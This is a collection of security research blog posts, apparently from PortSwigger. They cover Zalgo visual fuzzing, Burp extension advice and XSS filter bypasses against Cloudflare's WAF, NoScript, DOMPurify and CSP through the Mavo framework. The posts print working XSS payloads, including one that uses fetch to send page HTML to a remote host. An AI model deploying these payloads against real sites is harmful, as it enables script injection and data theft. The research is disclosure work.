Wednesday, March 7, 2018

Unearthing Z͌̈́̾a͊̈́l͊̿g̏̉͆o̾̚̚S̝̬ͅc̬r̯̼͇ͅi̼͖̜̭͔p̲̘̘̹͖t̠͖̟̹͓͇ͅ with visual fuzzing

This is valid JavaScript on Edge:

̀̀̀̀̀́́́́́̂̂̂̂̂̃̃̃̃̃̄̄̄̄̄̅̅̅̅̅̆̆̆̆̆̇̇̇̇̇̈̈̈̈̈̉̉̉̉̉̊̊̊̊̊ͅͅͅͅͅͅͅͅͅͅͅalert(̋̋̋̋̋̌̌̌̌̌̍̍̍̍̍̎̎̎̎̎̏̏̏̏̏ͅͅͅͅͅ1̐̐̐̐̐̑̑̑̑̑̒̒̒̒̒̓̓̓̓̓̔̔̔̔̔ͅͅͅͅͅ)̡̡̡̡̡̢̢̢̢̢̛̛̛̛̛̖̖̖̖̖̗̗̗̗̗̘̘̘̘̘̙̙̙̙̙̜̜̜̜̜̝̝̝̝̝̞̞̞̞̞̟̟̟̟̟̠̠̠̠̠̣̕̕̕̕̕̚̚̚̚̚ͅͅͅͅͅͅͅͅͅͅͅͅͅͅͅ

How did we get here?

When twitter increased their tweet character limit 140 to 280 I thought it might be fun to see what unicode characters could be used with the new limit. I tweeted some interesting characters that caused rendering errors in twitter. This is known as Zalgo. It got me thinking about how to automatically identify these characters. You can’t use the DOM to see if certain characters behave strangely, I needed a screenshot to see what the browser sees. I first started off with JavaScript and canvas to take a screenshot but the picture generated did not match the actual display rendered in the browser. I needed another approach. Headless Chrome was the answer! I used puppeteer which is a NodeJS module that lets you control headless Chrome and take screenshots.

Generating the characters

To generate Zalgo you can either repeat single characters or combine two characters and repeat the second one.The following code points generate visual defects when repeated on their own, they are mostly unicode combining characters:

834,1425,1427,1430,1434,1435,1442,1443,1444,1445,1446,1447,1450,1453,1557,1623,1626,3633,3636,3637,3638,3639,3640,3641,3642,3655,3656,3657,3658,3659,3660,3661,3662

For example the following JavaScript will generate visual defects using one of the characters above.

<script>document.write(String.fromCharCode(834).repeat(20))</script>

This looks like: ͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂͂

What's interesting is that multiple characters can combine and produce different effects. Take the characters 311 and 844 - when combined using the same technique as above they go upwards:

<script> document.write(String.fromCharCode(311)+String.fromCharCode(844).repeat(20)) </script>

This looks like: ķ͌͌͌͌͌͌͌͌͌͌͌͌͌͌͌͌͌͌͌͌

Building the fuzzer

The fuzzer is quite simple. First off we need a webpage to actually render the characters, and some CSS to make it extremely wide so legitimate characters will simply go to the right of the screen and I can therefore check the areas to the left, top and bottom of the rendered page and I center the fuzz div element on the page.

Here is a screenshot of characters “a” and “b” rendered in the fuzzer.To help visualize what the fuzzer does here is a screenshot of the regions it checks.

Screenshot of fuzzer scanning "a" and "b"

Here is a screenshot with the characters ķ and ͂ which are code points 311 and 834. They cause an interesting defect that the fuzzer logs because it appears in the upper region.

Screenshot of fuzzer scanning Zalgo characters

<style>
.parent {
  position: absolute;
  height: 50%;
  width: 50%;
  top: 50%;
  -webkit-transform: translateY(-50%);
  -moz-transform:    translateY(-50%);
  -ms-transform:     translateY(-50%);
  -o-transform:      translateY(-50%);
  transform:         translateY(-50%);
}
.fuzz {
  height: 300px;
  width:5000px;
  position: relative;
  left:50%;
  top: 50%;
  transform: translateY(-50%);
}
</style>
</head>
<body>
<div class="parent">
  <div class="fuzz" id="test"></div>
</div>
<script>
var chars = location.search.slice(1).split(',');
if(chars.length > 1) {
  document.getElementById('test').innerHTML = String.fromCharCode(chars[0])+String.fromCharCode(chars[1]).repeat(100);
} else {
  document.getElementById('test').innerHTML = String.fromCharCode(chars[0]).repeat(100);
}
</script>

The JavaScript simply reads one or two character numbers from the query string and outputs them using innerHTML and String.fromCharCode. This is executed client side of course.

Then in NodeJS I use the libraries png and puppeteer.

const PNGReader = require('png.js');
const puppeteer = require('puppeteer');

Then I have two functions that check if a pixel is white and if it’s within the region I want e.g. top, left or bottom.

function isWhite(pixel) {
  if(pixel[0] === 255 && pixel[1] === 255 && pixel[2] === 255) {
    return true;
  } else {
    return false;
  }
}

function isInRange(x,y) {
  if(y <= 120) {
   return true;
  }
  if(y >= 220) {
   return true;
  }
  if(x <= 180) {
   return true;
  }
  return false;
}

The fuzz browser function is asynchronous and takes the screenshot and using the png library to read the png file. It outputs interesting characters (defined by the pixel is not white and appears in the regions top, left or bottom) to the console and also a chars.txt text file.

async function fuzzBrowser(writeStream, page, chr1, chr2) {
  if(typeof chr2 !== 'undefined') {
    await page.goto('http://localhost/visualfuzzer/index.php?'+chr1+','+chr2);
  } else {
    await page.goto('http://localhost/visualfuzzer/index.php?'+chr1);
  }
  await page.screenshot({clip:{x:0,y:0,width: 400,height: 300}}).then((buf)=>{
    var reader = new PNGReader(buf);
    reader.parse(function(err, png){
      if(err) throw err;
      outerLoop:for(let x=0;x<400;x++) {
        for(let y=0;y<300;y++) {
          if(!isWhite(png.getPixel(x,y)) && isInRange(x,y)) {
            if(typeof chr2 !== 'undefined') {
              writeStream.write(chr1+','+chr2+'\n');
              console.log('Interesting chars: '+chr1+','+chr2);
            } else {
              writeStream.write(chr1+'\n');
              console.log('Interesting char: '+chr1);
            }
            break outerLoop;
          }
        }
      }
    });
  });
}

I then have an asynchronous anonymous function that loops through the target characters and calls the fuzzBrowser function. When testing for multiple characters I exclude the single characters that cause side effects.

(async () => {
  const browser = await puppeteer.launch();
  const page = await browser.newPage();
  const singleChars = {834:1,1425:1,1427:1,1430:1,1434:1,1435:1,1442:1,1443:1,1444:1,1445:1,1446:1,1447:1,
                      1450:1,1453:1,1557:1,1623:1,1626:1,3633:1,3636:1,3637:1,3638:1,3639:1,3640:1,3641:1,
                      3642:1,3655:1,3656:1,3657:1,3658:1,3659:1,3660:1,3661:1,3662:1};
  const fs = require('fs');
  let writeStream = fs.createWriteStream('logs.txt', {flags: 'a'});
  for(let i=768;i<=879;i++) {
    for(let j=768;j<=879;j++) {
        if(singleChars[i] || singleChars[j]) {
          continue;
        }
        process.stdout.write("Fuzzing chars "+i+","+j+" \r");
        await fuzzBrowser(writeStream, page, i, j).catch(err=>{
          console.log("Failed fuzzing browser:"+err);
        });
    }
  }
  await browser.close();
  await writeStream.end();
})();

ZalgoScript

A while ago I found an interesting bug on Edge. Basically Edge is treating characters as whitespace that it shouldn’t. It appears to be unicode combining characters that exhibit this behaviour. What if we combine this bug with Zalgo? We then have ZalgoScript! I first generated a list of characters that Edge treats as whitespace (of which there are a lot, check the github issue for the list). I decided to fuzz the characters 768-879 (the fuzzer code includes that range by default), the fuzzer logged that character 837 along with any character within the 768-879 range produced side effects. This is cool; I could loop through this list and combine characters to produce Zalgo that was also valid JavaScript.

a= [];
for(i=768;i<=858;i++){
  a.push(String.fromCharCode(837)+String.fromCharCode(i).repeat(5));
}
a[10]+='alert('
a[15]+='1';
a[20]+=')';
input.value=a.join('')
eval(a.join(''));

And that’s how we ended up with ̀̀̀̀̀́́́́́̂̂̂̂̂̃̃̃̃̃̄̄̄̄̄̅̅̅̅̅̆̆̆̆̆̇̇̇̇̇̈̈̈̈̈̉̉̉̉̉̊̊̊̊̊ͅͅͅͅͅͅͅͅͅͅͅalert(̋̋̋̋̋̌̌̌̌̌̍̍̍̍̍̎̎̎̎̎̏̏̏̏̏ͅͅͅͅͅ1̐̐̐̐̐̑̑̑̑̑̒̒̒̒̒̓̓̓̓̓̔̔̔̔̔ͅͅͅͅͅ)̡̡̡̡̡̢̢̢̢̢̛̛̛̛̛̖̖̖̖̖̗̗̗̗̗̘̘̘̘̘̙̙̙̙̙̜̜̜̜̜̝̝̝̝̝̞̞̞̞̞̟̟̟̟̟̠̠̠̠̠̣̕̕̕̕̕̚̚̚̚̚ͅͅͅͅͅͅͅͅͅͅͅͅͅͅͅ

Source code for Visual Fuzzer

If you liked this, you may also be interested in non-alphanumeric JavaScript.

Keep on fuzzing - by @garethheyes with help from @albinowax

Wednesday, January 17, 2018

Your Recipe for BApp Store Success

After using Burp’s Extender API to adapt Burp to fulfill their needs, some users choose to share their creations with the community by submitting them to the BApp Store. In this post, we’ll share some advice to help you maximize your extension’s success by turning it into a high-quality BApp that users will love.

1) Perform a Novel Function

The BApp store already has a lot of extensions and it’s easy to accidentally duplicate a different extension’s features, or even a core Burp feature. To maximize your chances of BApp store acceptance, ensure you implement a novel idea or at least have a good idea what sets your extension apart from its competitors. If not, you might be better off tailoring an existing Bapp to suit your purposes - they’re all open source after all.

That said, extensions range from a few dozen lines of code to several thousand. They don't need to be large or sophisticated to be invaluable! Some of our favorite extensions are under a hundred lines.

2) Have a Clear Descriptive Name

When a user scrolls through the BApp Store, they will be drawn to extensions that solve issues they are encountering. To capture attention, the name needs to clearly describe what the extension does. While playful names like PsychoPATH have been used in the past, we now encourage names to be descriptive. You can also provide a one-line summary that appears in the list (web only), as well as a more detailed description.

3) Operate Securely

Users may be testing sites that they don't trust, so it's important that extensions don't expose users to attack. Treat the content of HTTP messages as untrusted. Some submissions have contained flaws like XXE that a malicious site could attack. Extensions should operate securely in expected usage, for example, an extension like Copy as Python Requests needs to avoid code injection. Data entered by a user into the GUI can generally be trusted, but if there is autofill from untrusted sources, don't assume the user will check the contents.

4) Include all Dependencies

A major benefit of the BApp Store is one click installation. If your extension includes all dependencies, it is much easier for users to get started. Doing this also avoids version mismatches - where an underlying tool is upgraded, but the BApp is not.

5) Use Threads to Maintain Responsiveness

A common mistake is performing slow operations - such as HTTP requests - in the Swing Event Dispatch Thread. This causes Burp to appear unresponsive, as the whole GUI must wait until the slow operation completes.To maintain responsiveness, perform slow operations in a background thread. In addition, avoid slow operations in processProxyMessage and processHttpMessage. To avoid concurrency issues, protect shared data structures with locks, and take care to avoid deadlocks. Be aware that Burp does not catch and report exceptions in background threads. To report background exceptions, surround the full thread operation with a try/catch block and write any stack traces to the extension error stream.

6) Unload Cleanly

When an extension unloads, it needs to release all resources. Burp resources, like ITab or IContextMenuFactory are released automatically. However, other resources may not be. If such resources are created, the extension needs to implement IExtensionStateListener. The most common example is background threads; it is important that background threads are terminated in extensionUnloaded.

7) Use Burp Networking

When making an HTTP request - to the target, or otherwise - it's preferable to use Burp's makeHttpRequest, instead of libraries like java.net.URL. This sends the request through the Burp core, so settings like upstream proxies and session handling rules will be obeyed. Many users are on a corporate network that only allows Internet access through a proxy. In addition, avoid performing any communication to the target from within doPassiveScan.

8) Support Offline Working

Some Burp users need to operate from high-security networks without Internet access. To support these users, extensions that contact an online service to receive vulnerability definitions or other data should include a copy of recent definitions, as a fallback for disconnected networks.

9) Cope with Large Projects

Some users work with very large projects. To support such users, avoid keeping long-term references to objects passed to functions like processHttpMessage or doActiveScan. If you need to keep a long-term reference to an HTTP message, use saveBuffersToTempFiles. Also, take care with getSiteMap and getProxyHistory as these can return huge results. Some submissions have called getProxyHistory at startup which results in extremely slow startup with large projects.

10) Provide a Parent for GUI Elements

If an extension creates GUI elements, such as popup windows or messages, these should be children of the main Burp Frame. This is particularly important when users have multiple monitors, to make sure popups appear on the correct one. To get the Burp Frame, use Frame.getFrames to get all frames, and search for a frame with a title containing "Burp Suite".

11) Use the Extender API Artifact

Extensions originally needed to include the Java interface files (IBurpExtender.java, etc.) for compilation to work, which clutters the source code. With newer build tools - Maven and Gradle - this is now unnecessary. Instead, reference the burp-extender-api artifact which is in the net.portswigger group. If you’re starting a new project we recommend using Gradle.

Enjoy - @paulpaj

Tuesday, November 28, 2017

The Daily Swig

The Daily Swig

Today, we're pleased to announce an exciting new initiative: The Daily Swig. This is a news digest service covering topics in web security. We'll be writing every weekday about breaches, defenses, research developments, and anything else that might affect companies, users, researchers, governments, and citizens.

The Daily Swig is aimed at a general audience, and won't replace our technical blog. In between the news coverage, we'll be including some humor, quizzes, and other types of content. But expect a total absence of ads, marketing, sponsored stories, or other filler. Any feedback is much appreciated.

Please follow @DailySwig on Twitter to get notified about every story. We hope you enjoy!

Friday, October 6, 2017

When Security Features Collide

Layered security mechanisms are forcefully promoted by industry standards such as PCI DSS and (briefly) the OWASP Top 10. In this post, I’ll argue that the blanket application of such an approach is both misguided and hazardous, by showing that stacking security measures in front of a system may make it easier to exploit. I’ll demonstrate this by sharing how to use Cloudflare's email protection system to bypass their WAF and every browser XSS filter, on all websites using Cloudflare.

Take a website with a simple reflected XSS vulnerability. This is easy to exploit in vanilla Firefox, but really quite difficult to exploit in Chrome, Edge/IE, Safari and Firefox with NoScript thanks to their XSS filters: https://portswigger-labs.net/xss.php?xss=<script>alert(1)</script>

If, due to pressure from PCI, the website owner decides to start using Cloudflare, they gain a broad range of security features including DDOS protection, a Web Application Firewall (WAF), and email address obfuscation. These features are all enabled by default. If you visit this link you’ll see the WAF in action: https://waf.party/xss.php?xss=<script>alert(1)</script>

Cloudflare's email address obfuscation works by scanning responses for email addresses and 'mailto' links, and rewriting these to hide them from scrapers. Compare the following two responses:
start not-an-email end

start not-an-email end
start james.kettle@portswigger.net end

start <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="650f040800164b0e001111090025150a171116120c020200174b0b0011">[email&#160;protected]</a> end

<script>[stuff that decodes it]</script>
Server-side rewriting of inputs and responses can often be used to bypass XSS filters, as they rely on inspecting inputs for syntax that’s both suspicious and valid. When faced with rewriting, an attacker can provide a request containing invalid apparently harmless syntax, and rely on the server transforming it into a functional exploit. There’s a minor quirk in the email address obfuscation that makes this particularly easy; in the process of rewriting anchor tags it converts forward-slashes into spaces:
<a href="mailto:b" a/b/c>hover</a>

<a href="/cdn-cgi/l/email-protection#4c2e" a b c>hover</a>
We can exploit this behavior by adding a well-placed forward-slash to our payload, making it look like harmless syntax:
<a href="mailto:a" onmouseover/="alert(1)">hover</a>

<a href="/cdn-cgi/l/email-protection#1372" onmouseover ="alert(1)">hover</a>
This payload bypasses Chrome/Safari and Edge’s filters, but still gets snagged by NoScript and Cloudflare’s WAF. To bypass those, we just need to add another slash:
<a href="mailto:a" onmouseover/="alert/(1)">hover</a>

<a href="/cdn-cgi/l/email-protection#90f1" onmouseover ="alert (1)">hover</a>
This leaves us with a simple exploit that evades the XSS detection in Chrome/Safari, Edge/IE, NoScript, and Cloudflare’s WAF.

This article originally finished here, but it felt like the slash-consumption quirk made our lives a little too easy. It would be too tempting for readers to dismiss this as a one-off mishap by Cloudflare that wouldn't possibly affect similar offerings from other companies. To address this, my colleague Gareth Heyes devised the following payload that doesn't rely on the slash-consumption quirk. Instead, it uses malformed syntax to confuse the cloud-based HTML parser - an approach that's likely to work on multiple vendors and distinctly difficult to mitigate:

The payload is less pretty after being rewritten by Cloudflare, but gets the job done:
<select><noembed></select><script x='a@b'a>y='a@b'//a@b%0a\u0061lert(1)</script x>

<select><noembed></select><script x='<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="c8a988aa">[email&#160;protected]</a>'a>y='<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="d5b495b7">[email&#160;protected]</a>'//<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="6e0f2e0c">[email&#160;protected]</a>
\u0061lert(1)</script x>
After this post was released, @jackmasa found a variant using XMP instead of noembed, and @kinugawamasato released a stunning Chrome bypass combining nested scripts with foreign object and replaceChild.

Conclusion

Adding one security mechanism can undermine multiple others. This isn’t just an isolated incident - Masato Kinugawa recently found that Cloudflare injects a number of scripts at /cdn-cgi/, and one of these could be used to bypass not only Chrome’s XSS filter, but also whitelist-based CSP.

It probably isn’t necessary to say this, but please don’t be overly concerned if you’re using Cloudflare. Cloudflare was only selected as an example thanks to their popularity. The attack shown relies on an already-existing XSS vulnerability, and the obfuscation bug described here will probably be short-lived; Masato’s bug was mitigated within 24 hours of being publicly disclosed. You can also easily toggle off the obfuscation feature without losing the core benefits of Cloudflare.

The real takeaway is to consider the consequences before blindly prescribing flashy security features, ensure you disable unused functionality, and remember that a reduction in attack surface can do more for your security than dozens of flimsy mitigations.

- @albinowax

Friday, September 8, 2017

Abusing JavaScript frameworks to bypass XSS mitigations

At AppSec Europe Sebastian Lekies, Krzysztof Kotowicz and Eduardo Vela Nava showed how to use JavaScript frameworks to bypass XSS mitigations. In this post I’ll do a systematic analysis of how the brand new framework Mavo can be abused to bypass XSS mitigations, specifically NoScript’s XSS filter. Mavo aims to simplify web development by enabling users to create interactive web applications using pure HTML. It was released on Smashing magazine and caught my interest on Twitter. So I began looking at its syntax and functionality.

DOM based XSS using $url

Mavo creates an object called $url which provides a convenient way for a developer to access GET parameters. If for example you wanted to access the GET parameter “x” then you would access the “x” property of the $url object.
$url.x //retrieves the GET parameter x
Unfortunately this convenience also increases the likelihood that the developer will introduce a DOM based XSS vulnerability. I reported one such issue to the CSS working group on the 31st May 2017. They use Mavo to manage comments on the CSS specification and they used $url to assign an anchor href. The HTML looked like this:
<h1><a href="{$url.spec}" mv-attribute="null" property="title"></a></h1>
So as you can see they were using the $url object to get the parameter spec from the URL. However this link will only be shown when valid data is retrieved, I needed to inject a JavaScript URL that was also a valid relative URL so the data would be retrieved and the link would be shown.
javascript:alert(1)%252f%252f..%252fcss-images
The vector above provides a valid relative URL so Mavo looks for the data in a non-existent javascript:alert(1) folder but then traverses up using two double encoded slashes and “..”. I use two slashes so it acts as a comment in JavaScript too which comments out the rest of the path when executed as a JavaScript URL. Then it goes back into the css-images directory so the data is successfully loaded and the URL is displayed.

Because Mavo works client side we can replicate this issue on our server and the proof of concept is available below:

Click for proof-of-concept (Click on CSS Image Values and Replaced Content Level 3 title)

Remotely loading JSON data

As a feature in Mavo it’s possible to change the data source of any Mavo app to local storage or remote locations. This is bad because you give control over your data to an attacker who can use it to deface your site or inject malicious JavaScript URLs. The invoice demo app on the Mavo website has this vulnerability, it is possible to use the source parameter to point to an external JSON file and customise the data on the invoice app.

The external JSON file has the CORS header “Access-Control-Allow-Origin:*” to enable the data to be loaded cross domain. Then the app used the data to create an anchor href like this:
<a property="companyURL" mv-attribute="null" href="[companyURL]" target="_blank">http://lea.verou.me</a>

In the href attribute the invoice app uses a Mavo expression, “companyURL” is retrieved from the JSON data. If I include the following in the external JSON file:
{
   "companyLogo": "http://lea.verou.me/logo.svg",
   "companyName": "Pwnd Pwnd",
   "companyAddress": "Pwnd",
   "companyURL": "javascript:alert(1)",
   "companyEmail": "pwnd",
...
 
This will then create a JavaScript URL in the document because the external data is loaded and replaces the current data.

Click for proof-of-concept

Bypassing NoScript XSS detection

By default Mavo allows you to embed MavoScript inside square brackets in the HTML document. MavoScript is an extension of JavaScript with a couple of minor changes. For example it supports the keywords ‘and’, ‘or’, and ‘mod’, it changes the behaviour of ‘=’ to be comparison not assignment and supports various convenient functions from the Math and date objects. You can also call Math methods without using the Math object like max(1,2,3). More information on the syntax is available here.

If Mavo encounters invalid MavoScript, it falls back to standard JavaScript. To force JavaScript mode you can use a comment at the start of your expression.

Let's say we want to Mavo to evaluate the expression 1+1 inside a HTML document and the page is vulnerable to XSS. Mavo uses [] to evaluate expressions like Angular uses {{}}, so we would inject following expression:
[1+1]
Expression example

There is no sandboxing at all in Mavo but your code gets rewritten and is executed within a with statement. To call the alert function we need to use the window object so either window.alert or self.alert.
[self.alert(1)]
Calling alert

It’s possible to call alert without window, by using an indirect call
[(1,alert)(1)]
Mavo also has some custom HTML attributes that are interesting. mv-expressions allow you to define characters that are used as expression delimiters. For instance if you want to use Angular’s double curly syntax you could do that by using the mv-expressions attribute.
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
Defining your own expression delimiter

Mavo also supports the “property” attribute (this is not prefixed because it’s part of a standard). This links a DOM element's value to a JavaScript variable. The example from the Mavo site demonstrates this well.
<p>Slider value: [strength]/100</p>
<input type="range" property="strength" title="[strength]%" />
mv-value and mv-if are interesting because they allow execution of expressions without the [] delimiters. mv-if hides the DOM element if the expression evaluates to false and mv-value evaluates an expression and changes the DOM element’s value. It’s worth noting that these attributes would work on any tag.
<div mv-if=”false”>Hide me</div>
Inside expressions MavoScript has some interesting behaviour. You can have quoteless strings as long as they consist of letters, numbers, and underscores. Object properties will be converted to a blank string if they don’t exist. E.g. you can have x.y.z even if none of those properties exist.

With all this knowledge I began testing to see if I could bypass NoScript’s XSS filter, DOMPurify and CSP. I used a testbed that Krzysztof Kotowicz had created. Bypassing DOMPurify was pretty easy because you could use data-* attributes with Mavo. Normally in Mavo you would use the mv- prefix but Mavo also supports data-mv-* to enable the document to pass HTML validation. In order for Mavo to be used with CSP you have to enable the ‘unsafe-eval’ directive. This is bad because now we can now call the various eval functions in JavaScript and as we’ve seen Mavo lets you inject MavoScript/JavaScript expressions too.

I worked with Giorgio Maone (NoScript’s creator) and attempted to bypass NoScript. My first bypass was to use the “fetch” function in JavaScript to prove I could bypass the filter and retrieve and send HTML to a remote destination.
[1 and self.fetch('//subdomain2.portswigger-labs.net/'&encodeURIComponent(document.body.innerHTML))]
Because NoScript’s filter didn’t understand the “and” keyword and the square bracket expression syntax I could bypass the detection and use fetch to send the HTML. Mavo also defines “&” as a concat operator and I use it here instead of “+” to concatenate the string.

Click for proof-of-concept

Giorgio then modified NoScript’s XSS detection to check for these new keywords and the square bracket syntax. I was able to bypass it again by abusing the MavoScript parser.
[''=''or self.alert(lol)]
So here the MavoScript parser allows you to use “=” for equality testing rather than assignment. I used this to my advantage to evade NoScript. MavoScript defines “or” as an operator and because this isn’t part of JavaScript NoScript didn’t look for it.

Click for proof-of-concept

As I’ve mentioned earlier Mavo also allows you to execute expressions without delimiters inside a mv-if attribute. I used this to bypass the new detection code in NoScript.
<a data-mv-if='1 or self.alert(1)'>test</a>
Click for proof-of-concept

Remember the mv-expressions attribute? You can define your own delimiters but you can use any characters to do that. I used data attributes again to evade DOMPurify.
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
Click for proof-of-concept

Next I decided to see how I could use HTML attributes with Mavo. I looked at the anchor href attribute because I was injecting a JavaScript URL I switched off the CSP check for this vector.
<a href=[javascript&':alert(1)']>test</a>
So here we have our expression inside the href attribute. Javascript is actually a string even though there are no quotes, the & acts as a concat operator and that joins the :alert(1) string notice we have to use quotes this time because of the parenthesis.

Click for proof-of-concept

Giorgio improved NoScript some more and detected the above vector. Then I found a bypass which used multiple attributes on the element to smuggle the vector. Multiple expressions can be used inside attributes and can be concatenated together.
<a href='[javascript][":"][x.title][1][x.rel]' rel=) id=x title=alert(>test</a>
Click for proof-of-concept

You can also mix a regular attribute value with expressions too and evade the filter.
<a href=javascript[x.rel]1) id=x rel=:alert(>test</a>
Click for proof-of-concept

By this point Nocript’s detection of these type of vectors was getting pretty good. I came up with one last vector to bypass it in this context.
[/**/x='javascript'][/**/x+=':alert'+y.rel+y.title]<a href=[x] id=y title=1) rel=(>test</a>
I use comments to force JavaScript mode in Mavo. Once in JavaScript mode I need to use quotes for the string ‘javascript’, then I concat the string with values from the anchor attributes.

Click for proof-of-concept

After that I looked at the Mavo parser because they use letters as an operator. I could this to my advantage to bypass detection as NoScript wasn’t expecting alphanumerics to follow a function call. This also bypasses CSP since we aren’t injecting JavaScript URLs anymore. Notice mod is an operator therefore allows 1 to follow the operator even without spaces.
[self.alert(1)mod1]
Click for proof-of-concept

Finally combining the fact that Mavo allows unquoted strings and unquoted strings directly after operator keywords such as “and” etc. I bypassed the check again.
[omglol mod 1 mod self.alert(1)andlol]
Click for proof-of-concept

Conclusion

Frameworks like Mavo can make life easier for developers, but introducing new syntax to HTML and JavaScript often has undocumented implications that undermine security mechanisms like CSP, NoScript and DOMPurify. They can also offer new ways to unwittingly introduce traditional vulnerabilities like DOMXSS into applications, and even introduce new types of vulnerability like data source hijacking.

Enjoy - @garethheyes

Wednesday, August 23, 2017

Adapting Burp Extensions for Tailored Pentesting

Burp Suite is privileged to serve as a platform for numerous extensions developed and shared by our community of users. These expand Burp’s capabilities in a range of intriguing ways. That said, many extensions were built to solve a very specific problem, and you might have ideas for how to adapt an extension to better fulfil your needs.

Altering third party Burp extensions used to be pretty difficult, but we’ve recently made sure  all Burp extensions are open source and share a similar build process. In this post, I’ll show you just how easy it’s become to customize an extension and build a bespoke Burp environment for effective and efficient audits.

I’ll personalize the Collaborator Everywhere extension by making it inject extra query parameters that are frequently vulnerable to SSRF, as identified by Bugcrowd for their excellent HUNT extension.

Development Environment Prerequisites
First, create your development environment. To edit an extension written in Java, you’ll need to install the Java JDK and Gradle. Extensions written in Python and Ruby don’t have any equivalent requirements, but Git is always useful. This is all you’ll need to build the majority of Burp extensions - Gradle will automatically handle any extension-specific dependencies for you. I’ll use Windows because it’s reliably the most awkward development environment.

Obtain code
The next step is to obtain the code you want to hack up. Find your target extension on https://portswigger.net/bappstore and click the ‘View Source Code’ button. This will land you on a GitHub Page something like https://github.com/portswigger/collaborator-everywhere. To get the code, either click download to get a zip or open a terminal, type git clone https://github.com/portswigger/collaborator-everywhere, and cd into the new folder.

Verify environment (Java only)
Before you make any changes, ensure you can successfully build the jar and load it into Burp. To find out how to build the jar, look for the BuildCommand line in the BappManifest.bmf file. For Collaborator Everywhere, it’s simply gradle fatJar. The EntryPoint line shows where the resulting jar will appear.

Apply & test changes
If you can load the freshly built jar into Burp and it works as expected, you’re ready to make your changes and rebuild.

Collaborator Everywhere reads its payloads from resources/injections, so I’ve simply added an extra line for each parameter I want to inject. For example, the following line adds a GET parameter called 'feed', formatted as a HTTP URL:
param,feed,http://%s/
If a particular payload is causing you grief, you can comment it out using a #.

The extension Flow may come in useful for verifying your modifications work as expected - it shows requests made by all Burp components, including the scanner. Here, we can see our modified extension is working as intended:

Finally, be aware that innocuous changes may have unexpected side effects.

Conclusion

If you feel like sharing your enhanced extension with the community, feel free to submit your changes back to the PortSwigger repository as a pull request, or release them as a fork. I haven’t pushed my Collaborator Everywhere tweak into an official release because the extra parameters unfortunately upset quite a few websites.

Some extensions may be more difficult to modify than others, but we’ve seen that with a little environment setup, you can modify Burp extensions with impunity.

Enjoy - @albinowax

Monday, August 21, 2017

How I Accidentally Framed Myself for a Hacking Frenzy

It’s well known that some websites are vulnerable to IP address spoofing because they trust a user-supplied HTTP header like X-Forwarded-For to accurately specify the visitor’s IP address. However, until recently there was no widely known reliable way of identifying this vulnerability. During my recent Cracking the Lens research, I noticed that it was possible to identify this vulnerability by spoofing a domain name instead of a raw IP address, and observing whether the server attempts to resolve this domain to an IP address.

Burp Suite already ships with a server designed to record DNS lookups called Burp Collaborator, so to help the community hunt down this vulnerability I released Collaborator Everywhere, an open source extension that automatically applies this technique to all outbound traffic. For example, a simple request to http://example.com/ would be rewritten as:
GET / HTTP/1.1
Host: example.com
X-Forwarded-For: uniq-id.burpcollaborator.net
True-Client-IP: uniq-id.burpcollaborator.net
X-Real-IP: uniq-id.burpcollaborator.net

Given the title of this blog post, you may have already spotted my mistake. Shortly after releasing this tool, we received an email titled “Your Amazon EC2 Abuse Report” claiming that burpcollaborator.net was attempting to hack someone’s website by bruteforcing a password.

This claim was clearly false as Burp Collaborator never initiates connections to external servers, but on further thought it made perfect sense. Someone had used Burp Suite to bruteforce a password on a website, which is a completely valid use case. The problem was, the user had Collaborator Everywhere installed, and the server was vulnerable to IP spoofing so it misattributed the attack to id.burpcollaborator.net which resolves to our server at 52.16.21.24. The user may have been authorised to conduct that attack, but 52.16.21.24 certainly wasn’t and as such an abuse report was generated.

Burp Suite is an offensive security tool, so by releasing Collaborator Everywhere I’d effectively framed burpcollaborator.net for hundreds of simultaneous attacks across thousands of websites. Even worse, some of those websites would be hosted on private internal networks, so an apparent attack on them from burpcollaborator.net would make it look like we’d hacked our way into their infrastructure and were now trying to pivot.

To resolve this issue I’ve made Collaborator Everywhere use a special keyword subdomain - spoofed.uniq-id.burpcollaborator.net. This domain always resolves to 127.0.0.1 to ensure that abuse reports don’t get sent to us or innocent bystanders, and also provides a visual indication that it can’t be trusted. Due to the potential of this issue to harm burpcollaborator.net, we’ve revoked the old Collaborator Everywhere extension. This means that if you’re a Collaborator Everywhere user, you’ll need to restart Burp and install the fixed version via the BApp store.

This design flaw is obvious in hindsight, but serves as a personal lesson; when research is successful it’s all too easy to let enthusiasm eclipse potential hazards and side effects.

Safe hacking - @albinowax